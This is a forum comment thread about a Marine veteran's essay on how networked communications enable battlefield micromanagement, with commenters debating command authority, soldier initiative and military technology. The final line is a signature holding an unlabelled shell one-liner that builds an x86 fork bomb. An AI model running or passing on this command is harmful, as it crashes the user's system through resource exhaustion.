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A Marine's-Eye View of the Networked Battlefield
Ian Lamont writes "Tyler Boudreau, a Marine veteran of the war in Iraq and a blogger, has written an interesting analysis of the impact of email, IM, and other digital devices upon 'ground-pounders' and their commanders in the field. These innovations were introduced in hopes of increasing situational awareness, rapidly gathering data, analyzing it, organizing it, and then pushing it back out to operators as actionable intelligence. They also provide commanders with the freshest possible information and aid them in their moment-to-moment decision-making. However, Boudreau found that the technologies can lead to micromanagement and deep frustration, trends that he illustrates by describing a shooting incident in al Anbar and its aftermath. He also warns that soldiers can become too dependent upon headquarters for critical decisions, which can lead to dangerous situations when communications get cut off."
If I'm running the GPS in my car, I find myself waiting for it to tell me where to go even if I have a good idea of the directions.
I feel like it cripples my sense of direction when I rely on it too much. I'm sure these combat systems could do the same thing
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Taking things that happen between headquarters "tactical operations centers" or TOCs and individual units, then extrapolating that into the communications that happen between higher echelon headquarters or logistical operations is a stretch at best.
At a real TOC somwhere like Iraq, you have 7x24 coverage by people whose job is to report upward on events at that locale. Therefore, a small unit action becomes well known to those in the chain of command associated with that unit. However, a random DFAC (mess hall) at Camp Victory isn't reporting up to its chain with anything approaching that frequency. In fact, that might happen once a week or once a month, aside from regular orders for foodstuffs and personnel actions. Moreover, all the tactical systems associated with this reporting are used by actual warfighters. Those engaged in logistical work will never see such a system.
Same goes for prisons - they have no tactical systems.
Yes, I just came back from there in late April.
HBI's Law: Frequency of calling others Nazis is directly correlated with the likelihood of the accuser being Communist.
On a ship at sea, the captain was God for two reasons. First and foremost, the ship is beyond all the normal structures and civilization. If a majority of the crew decided to ignore the captain, mutiny would be uncontainable. Punishments were so harsh that individual crewmen would be in terror of bringing it upon their heads and the thought of getting enough together that punishment could be defied, victory attained, would seem impossible. And captains absolutely required such authority to be supported once they returned to civilization so the Boards of Admiralty of the various navies would seldom ever overrule or censure them.
What's also fascinating is that the captains also had great latitude in exercising their orders generally. The last history I read was specifically concerning the British military and the American Revolution. There was a common sentiment of not wanting to second-guess the man in the field thousands of miles away. Now either this is true wisdom or looking for a scapegoat, I'm not entirely sure of which and possibly they weren't either. In hindsight, there's also a bit of making a virtue out of necessity because the tools for micro-management from such a distance had not yet been invented and twats like MacNamara had not yet been born.
There's a maxim that goes along the lines of "If a person is granted responsibility of accomplishing a great task, by extension he is granted the authority required to make that task happen." When a leader finds himself in such a situation of responsibility with no authority, he should tell his superiors to kindly go fuck themselves and continue to do so until they've worked their heads out of their own asses.
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
NO WAY!
My experience with StarCraft, a 'real-time strategy' simulator, taught me that micromanagement was the KEY to winning!!
Wrong - Soldiers are trained to execute orders obediently and immediately, even if the results are unpleasant. Yes, you have to train out a number of humanist instincts and reactions, but a non-thinking soldier might as well be a robotic drone.
More now than ever your average grunt HAS to think - as in the article - rules of engagement, higher tech weapons, very tense and vague situations involving civilians and higher political repercussions. If you don't have a thinking soldier you are likely going to end up with a disaster on your hands.
The idea of the robotic-kill-on-command soldier is a bygone era and mostly the stuff of anti-war diatribes.
You haven't RTFA'd, then; it explicitly discusses how the armed forces are in increasing need of men who think and take initiative on their own, and has adjusted its training towards that end.
This claim that people need to "turn off their critical thinking skills" to be willing to risk their lives for a cause they genuinely believe in makes a mockery of genuine heroes and martyrs everywhere, military or otherwise. You should be ashamed.
Wrong. I've been to Basic Combat Training, spend 4 years as enlisted man in combat units and then 12 years as an officer including being a training officer and temporary commander of a Basic Training unit. We don't weed out critical thinking. We harden people up, teach them to follow orders, and to fill in the gaps and get over the caveats.
What we teach them about following orders is, there are times for questions and there are times when you have to just do it; be intelligent about figuring out which one is which.
/LabMonkey09
Now if we look back, a lot of tech we take for granted as good, solid, traditional equipment had some serious teething problems. Guns were notoriously fickle and unreliable hundreds of years ago, why not trust in arrows and true steel instead? And you could also complain about the trend towards wearing heavier and heavier armor, it slows a warrior down! Why, without armor I can move fast enough I don't have to worry about taking the hit in the first place. Then there was the matter of the crossbow allowing a rude peasant to have the killing power of a proper archer with a longbow, the kind of fine soldier who had to train his whole life to use the weapon well. What's worse, the man with the crossbow could kill a godly knight with the flick of his finger. Contemptible! Unchristian!
In more recent times, tanks were belching, breakdown-prone monstrosities as much a danger to their occupants as the enemy. But we saw there was a good idea there and continued to develop them. Airplanes were primitive, crude, and ultimately were seen as having a negligible effect in WWI but gee, they sure were flashy. And they became invaluable by WWII. Then there's the matter of adopting steam propulsion in a naval warship, that's just not the way things were done! A proper seaman fights under sail. And the first steamships did suck a great deal. But gradually the technology was improved to the point that no captain would dream of doing without it.
The Germans were the first to use radios in their tanks. That was seen as likely to cause great confusion and no other military really considered it until the Germans kicked a whole lot of ass. Then it seemed like a good idea.
I think that the current land warrior concept is probably an awful, terrible, no good idea. But I also think in twenty or thirty years, we're going to be seeing a lot of stuff on the battlefield that soldiers will consider absolutely valuable, cannot do without but we'll still be able to trace the design lineage back to the useless crap they were twiddling around with today.
Kwisatz Haderach
Sell the spice to CHOAM
This Mahdi took Shaddam's Throne
Last time I checked these "Soldiers" or better Marines / Army / Navy / Air force. Signed up on the dotted line to protect the country. I greatly appreciate them and all they do. While signing on the line they knew or should have known it was not just a free ride to college or a job to just hang out with. If the country goes to war even if they don't agree with the war it IS there job to go fight it.
Not complain about it and refuse to be involved because they never thought they would have too shoot / kill someone.
Its called protecting the country and that is the job they agreed to.
I may not agree with some of the choices that upper management decides but I do not have the choice to decide to stay employed but choose not to do my job.
love the taste, hate the texture
We have a quote of the week on our agency's intranet page (which sometimes stays up for two weeks). Earlier this month, the quote was:
If you tell people where to go but not how to get there, you will be amazed at the results. - General George S. Patton, Jr.
Another version of the quote is:
Don't tell people how to do things, tell them what to do and let them surprise you with their results.
Regardless, the point still stands. Micromanagement can be a killer both in the private sector as well as the military (though the military version is a bit more serious). Interestingly enough, Erwin Rommel actively pursued the less-is-more command style. He started the process when he first became an officer, wrote about it and refined it over the years. Since Patton was known to read Rommel's books, it is most likely that in addition to his own views on command, Patton learned and applied what Rommel (and others) had written. As any good leader should do.
Based on your comments, it appears there are officers who should also be reading, and heeding, Rommel's words.
We will bankrupt ourselves in the vain search for absolute security. -- Dwight D. Eisenhower
Except that its not the individual soldiers role to question that objective. The question of invading Iraq is a political question that needs to be handled by our civilian politicians. And, while you may think its a shame that the military didn't object more strongly, I personally think its a good thing. I'd much rather live in a state where the civilians control the military, rather than vice versa.
We all know what to do, but we don't know how to get re-elected once we have done it
A future adminstration has to decide whether to keep the soldiers there or not, not the soldiers.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;